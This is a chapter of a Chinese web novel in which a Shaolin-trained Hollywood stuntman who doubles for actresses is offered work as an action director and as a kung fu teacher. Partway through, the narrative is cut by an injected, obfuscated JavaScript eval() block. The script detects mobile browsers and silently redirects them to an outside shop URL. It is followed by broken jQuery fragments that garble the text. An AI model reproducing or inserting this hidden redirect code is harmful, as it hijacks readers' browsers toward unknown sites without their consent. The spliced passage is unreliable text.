“外国姑娘?”陈振华先是一愣,随即反应过来,忍不住笑出声,摆手道,“不是不是,你误会了,他不是姑娘。”
正说着,那人已经走到了近前。看见陈振华,他开口喊了声“师叔”,声音偏低,是青年男子的声线。
说着抬手一摘头上的假发,浓密的金色卷发应声落下,露出底下利落的黑色寸头。他又随手抹了把脸上的粉,露出周正的眉眼,只是脸上还带着没卸干净的粉底,显得有些滑稽。
菲伊这才看清,对方确实是个年轻男人,个子大概一米七,身形偏瘦,肩背却挺得很直,站在那里自有一股习武之人的精气神。
“我给你们介绍。”陈振华笑着摆手,“袁杰,这就是我跟你说的菲伊·温斯洛。菲伊,这是袁杰,少林第三十代俗家弟子,六岁入寺,17、18岁连着拿了两届全国武术冠军,一身功夫是实打实的。”
袁杰脸上一红,有点局促地挠了挠头,语气憨厚:“师叔您就别提以前的事了。我现在混成这副样子,实在愧对师门。”
三人就近找了家街角的小咖啡厅坐下。
袁杰选了最靠里的位置,坐下时先把过长的戏服裙摆仔细拢到膝头,腰背挺得笔直,双手规规矩矩搭在腿上,只有指尖无意识地摩挲着洗得发白的牛仔裤。
他话不多,内敛得近乎木讷,大多时候都是陈振华在说,菲伊偶尔问两句,他才微微前倾身体,认认真真地答。
聊了没一会儿,菲伊就把他的经历摸清了大半。
袁杰小时候家里条件差,六岁被送去少林寺,本是混口饭吃,不料被释德法大师看中收了徒弟,一练就是十几年。
18岁时已连着拿了两届全国武术冠军,意气风发,只身前往香港影坛闯荡,一待就是七八年,演了几部功夫片的配角,始终没溅起水花。
三年前年辗转来到好莱坞,本想着这边薪酬高,好歹能安身,一晃三年过去,日子反倒越过越难。
“说来惭愧。”袁杰端起咖啡杯,粗粝的指节轻轻蹭过杯沿。他垂着眼,眼尾的细纹在暖光下格外明显,三十出头的年纪,眼底却有着远超同龄人的沧桑。
“我嘴笨,不会来事儿,也不会逢迎拍马,香港那几年就没闯出什么名堂。来这边更是如此,华人武师本就受排挤,我又不会钻营,正经武替的活儿轮不到我。”
他没往下说,但意思已经很明白。
九十年代的好莱坞,排外与歧视刻在行业骨血里,一个没背景、没名气的华人,空有一身硬功夫也只能被挑挑拣拣。
许多剧组看他身高一米七,身形偏瘦骨架小,就安排他给女演员做武替——浓妆一盖,假发一套,远景里根本分不出男女,薪酬却只有白人男替的三分之一。
菲伊的目光落在他手上。那是一双习武人的手,指节粗大,掌心与指腹覆着厚厚的拳茧,手背上还有几道新旧交叠的浅疤,应该是练功和拍动作戏时留下的。
可就是这样一双手,此刻捏着咖啡杯的动作却放得很轻,带着点怕碰坏东西的拘谨。
她心里多了几分了然,这种性子的人,踏实、能吃苦、不耍滑,教功夫必然会倾囊相授。可也正是这份老实木讷,注定了他在人情世故盘根错节的娱乐圈里,寸步难行。
袁杰偶尔抬眼,撞见菲伊的目光,见她眼神里没有嘲讽,没有猎奇的打量,只有坦荡和理解,反倒愣了一下,又赶紧垂下眼,指尖把杯沿攥得更紧了点。
他见多了旁人听说“男扮女武替”时的戏谑与轻视,眼前这个年纪轻轻的姑娘却从头到尾没露出半分异色,这份尊重,让他心里热乎乎的。
“我也是前段时间和国内师兄联系上,才知道他在这儿。”陈振华叹了口气,端起茶杯抿了一口,“华人在外立足难啊。他性子又直,说话不会拐弯,前阵子得罪了个副导演,手里的活儿直接被砍了大半,最近都在收拾行李准备回国了。
正好你说想找个武术教练,我就想着撮合一下。要是合适,既能有人教你真东西,也能让他多份营生,先留下来再说。”
听到“回国”两个字,袁杰肩膀几不可察地塌了一下。
他不是不想回去,只是不甘心。
六岁进入少林寺,冬练三九夏练三伏,一身功夫是一拳一脚打出来的。
当年拿全国冠军时,他也曾站在领奖台上,意气风发地想着凭这身本事闯出一片天。
香港八年,好莱坞三年,兜兜转转十余年,最后居然要靠男扮女装做武替混口饭吃。如果就这灰溜溜地回去,实在没脸见家乡父老,更没脸见师父。
可留下来又能如何?日子一天天蹉跎,一身功夫耗在无意义的排挤和冷眼里,就像一把刀,再好再利,如果埋在泥土里,终有一天会变得锈钝不堪。
他垂着眼,咖啡的热气熏得眼底发涩。
“袁老师一身真功夫,只做我一个人的私人教练,未免太屈才了。”
少女清脆的声音忽然响起。
袁杰心里咯噔一下,看向菲伊的眼睛里,闪过一抹黯然:“我知道,我现在这个样子……要是温斯洛小姐觉得不合适——”
他以为菲伊是嫌他如今混得落魄,配不上做她的教练。
“袁老师误会了。”菲伊见状,连忙放缓语气,“我是想问,你有没有想过做武术指导?”
“武指?”
袁杰迅速抬头,眼里的错愕藏都藏不住。
他当然想过!
在香港的时候,他与剧组的武指混的最熟、交流的最多,脑子里存着无数套拳路和镜头动作设计,比许多只会摆花架子的武指扎实得多。
可在好莱坞,连正经男替的位置都轮不到他,更别说独当一面的武术指导了。
“我手里正在投资一部小成本独立电影,叫《落水狗》。”
菲伊语气很诚恳,没有半分居高临下的施舍意味,“剧组经费紧,没请正经武术指导,里面几场动作戏都是导演和演员自己瞎琢磨的,拍出来很粗糙。
要是袁老师愿意屈就过去帮忙指点一下,对我们剧组是雪中送炭。就是有一点,经费有限,给的薪水可能不会太高。”
她话说得实在,没玩虚头巴脑那套,更没有画大饼。
可落在袁杰耳朵里,却像突然中了彩票一样,搞得他脑子有些发懵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876322|209455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
他盯着菲伊看了好几秒,确定对方不是在开玩笑后,激动得有些语无伦次:“我、我真的可以吗?我没有资历,啊,不,我的意思是,我没正经担任过武指,但是动作设计、套招、安全防护我都懂,我——”
他想证明自己有本事,却不知道该怎么组织语言,急的额头都开始冒汗。
“薪水多少都没关系!”说到最后,他又补了一句,眼神亮得惊人,像积灰多年的炭重新被点燃,“只要能让我正经做功夫相关的活,我肯定好好干,绝不糊弄!”
这哪里是屈就,对他来说根本是柳暗花明。他本来都收拾好行李箱,打算月底就买机票回国的。
“那就好。”菲伊笑了笑,“等你这边片场的忙完,我带你去剧组见导演,商量一些具体的工作安排。”
说着她又想起学武的事,补充道:“至于我学功夫的事,还是按之前说的来,麻烦袁老师平时抽时间教教我。”
提到这个,袁杰神色立刻郑重了几分,斟酌着开口道:“有句话我得先跟你说清楚。你现在十六岁,根骨基本已经长成了,不像从小打基础的孩子,练起来见效慢,还要吃不少苦头。拉筋、站桩、挨摔,一样都少不了,可能练上半年一年,也未必能有多大起色。”
他说的是实话,不想哄人,也不想砸了师门的招牌。
“我不怕吃苦。”菲伊语气很平静,却带着十足的笃定,“只要能练出真功夫,多累都没关系。”
袁杰看着她的眼神,重重点了点头,没再多说。习武之人最看重心性,看她这股稳重劲儿,就知道不是三分钟热度。
他抬手看了眼腕上磨掉漆的电子表,脸色微变:“不好,我那场替身戏还有半小时开拍,得赶紧回去补妆了。”
他说着就站起身,冲陈振华和菲伊分别拱了拱手:“师叔,温斯洛小姐,那我先回片场了。等我这边收工,咱们再细说。”
“去吧去吧,工作要紧。”陈振华摆了摆手。
袁杰又冲菲伊郑重地点了下头,拿起那顶金色假发,快步往门外走去。脊背比来时挺直了不少,脚步都透着股重新攒起来的劲。
看着他的身影消失在门后,陈振华才转回头,看着菲伊叹了口气,语气里满是真切的感激:
“菲伊,今天这事,老夫替我师兄,也替袁杰,好好谢谢你。这孩子憋得太久了,再熬下去,这身从小练到大的功夫就真废了。”
“陈老言重了。”菲伊笑了笑,坦言道,“我也是为了自己。袁老师有真本事,我缺好一个教练,也真的需要一个靠谱武指。一拍即合的事,谈不上谁谢谁。”
“你啊,年纪轻轻,却说话老成,行事敞亮。”陈振华笑着摇摇头,“对了,我唐人街那间武馆,场地大,器材也全,木人桩、沙袋、兵器架都齐。你和袁杰以后要是练功夫,随时都能过去,不用跟我客气。”
菲伊闻言喜笑颜开,当即对着陈振华拱手作揖,学着习武之人的礼数郑重谢道:
“那可真是求之不得,晚辈在此先谢过陈老!我正愁没个正经场地学武,在家又怕打扰到邻居和家人,这下可算是解了燃眉之急。”